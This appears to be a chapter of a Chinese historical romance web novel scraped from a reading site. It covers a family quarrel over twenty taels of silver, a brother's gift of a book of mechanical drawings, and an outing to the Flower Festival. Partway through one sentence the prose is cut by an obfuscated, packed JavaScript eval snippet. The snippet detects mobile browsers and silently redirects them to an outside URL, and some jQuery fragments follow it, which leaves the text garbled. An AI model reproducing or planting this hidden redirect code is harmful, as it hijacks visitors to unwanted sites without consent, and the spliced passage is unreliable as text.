默认冷灰
24号文字
方正启体

6. 花朝

作者:郑海潮本书字数:K更新时间:
    “林贺,你自己说,那二十两银子是哪里来的?”沈彦亭开口问道。


    林贺跪在地上,额头抵着青砖,声音发颤:“回老爷,是小姐赏给奴才的。”


    “赏的?”袁玉娥适时开口,“林贺,你可要说清楚。到底是偷的还是赏的?小姐好端端的,为什么要赏你二十两银子?二十两可不是小数目,够你半年的月钱了。”


    林贺说不出话来了,他当然不能说,那二十两是沈怡真找他去酒楼散播消息给的。


    袁玉娥从袖中抽出一张钱庄的纸笺,“林贺每年正月都会把攒下的银两存进钱庄,有票据为证。他一个月的月钱不过四两有余,二十两是他半年的积蓄。现下不过才三月,这笔钱凭空出现在他房里,来路自然成了问题。”


    “老爷,”袁玉娥的声音温柔,“妾身不是要疑心怡真,只是这孩子毕竟已经退了婚,去暮烟涧散心那几日,林贺回回都跟着。”


    她每句话都像淬了毒,“若是传出去她跟一个年轻力壮的仆从来往过密,还私下赏赐银两,这名声,往后还怎么议亲呢?”


    她说完,还轻轻叹了口气,像是真的在为沈怡真担忧。


    沈彦亭看向沈怡真:“怡真,为父问你,这二十两是你给林贺的吗?”


    沈怡真抬起头,对上沈彦亭的目光,“女儿确实给过林贺二十两银子。”


    沈彦亭的眼色愈发难看了。


    袁玉娥眼底闪过一丝几不可见的笑意,很快被她压了下去,换上一副痛心疾首的表情:“怡真,你怎么能做这种事呢?”


    沈怡真的声音不徐不疾,“但女儿给林贺这二十两,不是赏赐,也不是私相授受。姨娘身边的翠缕来找林贺借钱,林贺拿不出,她说可以找小姐借。女儿以为是袁姨娘的意思,便让碧桃取了二十两给林贺,让他转交。”


    正厅里安静了一瞬。


    袁玉娥的笑容僵在了脸上。


    沈彦亭开口,“这是怎么回事?”


    沈怡真看向翠缕,“姨娘的兄弟又在赌场输了一大笔钱,周转不开,故而四处筹借银两,翠缕来找林贺借钱,我还以为是姨娘的意思呢。”


    翠缕扑通一声跪在地上,“姨娘是说过舅爷又赌输了钱,需要筹集银子,但奴婢没有跟林贺借过啊。”


    沈彦亭面色铁青,转头看向袁姨娘,“你弟弟怎么又跟你要钱?”


    袁玉娥的笑容彻底挂不住了,“老爷,妾身真的没让翠缕跟林贺借钱啊!”


    林贺忽然开口,“姨奶奶,分明是翠缕来找小的借钱,还说不够可以跟小姐要,让小的千万不要把此事泄露出去,您怎么还倒打一耙。”


    沈彦亭的声音拔高了几分,“都给我住嘴!”


    “你往后不许再给你弟弟填赌债。”,他对袁姨娘说完,又转头看向沈怡真,“你最近就在家养伤,不许出门。”。


    最后,沈彦亭的目光落在林贺身上,“至于你,乱棍打出府去!”


    “爹!”


    “老爷!”


    两道声音同时响起。


    沈怡真的语气里带了哭腔,“这不关林贺的事啊!”


    沈彦亭摆摆手,“不必再提。”


    ——


    碧桃端着药碗进来的时候,就看见自家小姐趴在软枕上,翻看着之前从沈炼房里搬出来的兵书。


    “小姐,该喝药了。”


    “碧桃,”,沈怡真说着从枕头下面摸出一个钱袋子,“这里面是三百两,你悄悄拿给林贺,让他置办些田产铺面,也算有个营生。”


    碧桃惊讶不已,“小姐,这些是你全部的体几钱,都给了林贺,你要再攒多久啊。”


    “收下吧,千金散尽还复来。”,沈怡真冲她笑笑,“到底是我害得他没了生计还挨了打,这是给他的补偿。”


    碧桃把钱袋子推回去,“事情是他自愿做的,说什么补偿不补偿的。”


    “别推辞了,不是白给的,以后还有需要他帮忙的地方呢。”


    “那我就替林贺谢过小姐的恩情了。”


    碧桃眼眶里有泪花打转,沈怡真冲她做了个鬼脸。


    碧桃笑出了声,“小姐,这都什么时候了。”


    话音未落,门口传来一个清朗的声音,“是啊,这都什么时候了。”


    沈怡真探头往门口望去,帘子一掀,一道修长的身影走了进来,是哥哥沈炼。


    沈炼是沈家的嫡长子,沈怡真一母同胞的亲哥哥。他今年二十有二,任翰林院编修,文采斐然,是京城年轻一代中有名的才子。前几日奉命随礼部去了幽州,今日才回京。


    他穿了一件天水碧的直裰,腰间束着墨色革带,他的轮廓和沈怡真有三分相似,但线条更硬朗,周身透着一股清贵的书卷气。


    此刻他站在榻前看着沈怡真。


    沈怡真坐起身,仰起脸冲他笑了笑:“哥,你一回家就来看我呀。”


    沈炼在她榻边坐下来,伸手捏了捏她的脸,亲昵中带着几分教训的意味。“百丈的悬崖说跳就跳,我的好妹妹真是初生牛犊不怕虎。”


    他伸手从袖中掏出一个油纸包递给她,“桂花糕,城东那家你最爱吃的。”


    沈怡真接过油纸包,弯起嘴角:“谢谢哥哥。”


    沈炼“嗯”了一声,目光在榻上扫了一圈,忽然停住了。他伸手从被子的褶皱里抽出来一本书,翻过来看了一眼。


    《武经要略》。


    他的眉毛挑了起来。


    “沈怡真,”他晃了晃手里的书,语气里带着惊讶和好笑的调子,“你不好好养伤,看兵书?你一个闺阁小姐,看这个做什么?准备去考武状元?”


    沈怡真声音闷闷的,“随便看看。”,她对上哥哥那双含笑的眼睛,眨了眨眼。


    沈炼看着她那张苍白的、还带着伤的脸,他伸出手,照着沈怡真的额头弹了一个脑瓜崩。


    “哎呦。”,沈怡真捂着额头。


    沈炼从袖中缓缓掏出一本书,放在她枕边。


    书的封面有些旧了,边角磨损得厉害,显然被人翻过无数遍。


    封面上没有题字,只画着一幅小图:一架精巧的木鸢,翅膀张开,栩栩如生,仿佛下一刻就要从纸面上飞起来。


    沈怡真的眼睛一下子亮了。


    “这是?”她伸手将书捧起来,指尖轻轻抚过那只木鸢的线条。


    “《万工记》。”沈炼说,语气淡淡地,“幽州一位老匠人那里淘来的,说是他师父的师父传下来的手抄本,市面上见不到。”


    沈怡真翻开第一页,整个人便被吸引了进去。


    里面全是各种机关器械的图纸和说明。


    从最简单的榫卯结


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516762|203215||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    构到最复杂的齿轮传动,从能自动闭合的机关盒到可以远程击发的连弩,从汲水翻车到织机提花,每一页都画得精细至极,旁边密密麻麻地标注着尺寸、角度和材质的选用。


    “真是太精彩了。”沈怡真喃喃地念着,眼睛亮晶晶的。


    “喜欢吗?”


    “喜欢!”,沈怡真抱着那本书,笑得眼睛都弯成了月牙。她确实喜欢捣鼓这些东西。


    “这书里还有不少农具和织机的图样,”沈炼补充道,语气里带着几分调笑,“你要是哪天不想当沈家大小姐了,去当个匠人倒是饿不死。”


    “哥。”沈怡真嗔怪道。


    “好好养伤。”


    “嗯。”沈怡真点点头。


    沈炼站起身,理了理衣袍,转身离去。


    ——


    花朝节,百花的生日。虽不及元宵节那般灯火辉煌,却是春日里最风雅的集会。少男少女倾城而出,赏花、扑蝶、簪花、猜花谜,正当是春服既成、踏青游赏的好时节。


    沈怡真被关在家里小半个月,早就憋得骨头缝里都长了草。


    顾令淑昨日点头说“可以去花朝节”,沈怡真今早就让碧桃翻遍了衣柜,挑了粉白色的春衫,腰带上垂下两枚酢浆草结,将腰身衬得纤细修长。


    她发髻高绾,斜斜插了几朵山茶花做点缀。妆容清淡,又透着一股活泼灵动的气息。


    沈怡真对着铜镜照了照,满意地出了门。


    碧桃在身后跟着,手里提着一篮子点心果子,是顾令淑吩咐带的,让她和别家的小姐们一道分着吃。


    沈怡真走在前面,步子轻快,裙角飞扬,整个人像一只被放出笼子的黄鹂鸟。


    花朝节的主场设在城西的百花圃,是一处官办的园子,平日里不对外开放,只在花朝节这一日让百姓入园赏花。


    园中遍植桃、李、杏、海棠,此时正值花季,满园繁花似锦,远远望去如同一片云霞落在人间。花枝上系着五色彩笺,上面写着谜题。


    沈怡真入园的时候,园中已经聚了不少人。


    她一眼扫过去,便看见了礼部谢尚书家的三小姐谢梵净,正和翰林院李学士家的千金李妙云站在一株杏花树下,手里各自捏着一张彩笺,凑在一起嘀嘀咕咕地猜着。


    旁边还有几个熟面孔,工部周侍郎家的二姑娘、太常寺刘少卿家的长女。


    沈怡真弯起嘴角,快步走了过去。


    “梵净!妙云!”


    谢梵净抬起头,看见沈怡真,眼睛一亮:“怡真?你出来了?听说你前阵子从悬崖上滚下去了,伤好了没有?”


    “好得差不多了,”沈怡真在她面前转了个圈,“你看,这不是活蹦乱跳的?”


    李妙云笑着拍了拍她的肩膀:“你呀,还好意思说,沈伯母上次在我母亲面前提起你的事,气得直叹气。”


    沈怡真嘿嘿一笑,从碧桃提着的篮子里拿出定胜糕,分给她们两个。几个姑娘便聚在花树下,一边吃点心一边猜谜。


    沈怡真自己也猜了几个,多是些花鸟虫鱼的寻常谜题,没费什么力气。


    她正要将一张写着桃李不言的彩笺摘下来,身后忽然传来一个带着笑意的声音。


    “沈姑娘,你猜那些有什么意思?来猜猜我的。”


    沈怡真转过身,对上一双桃花眼。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)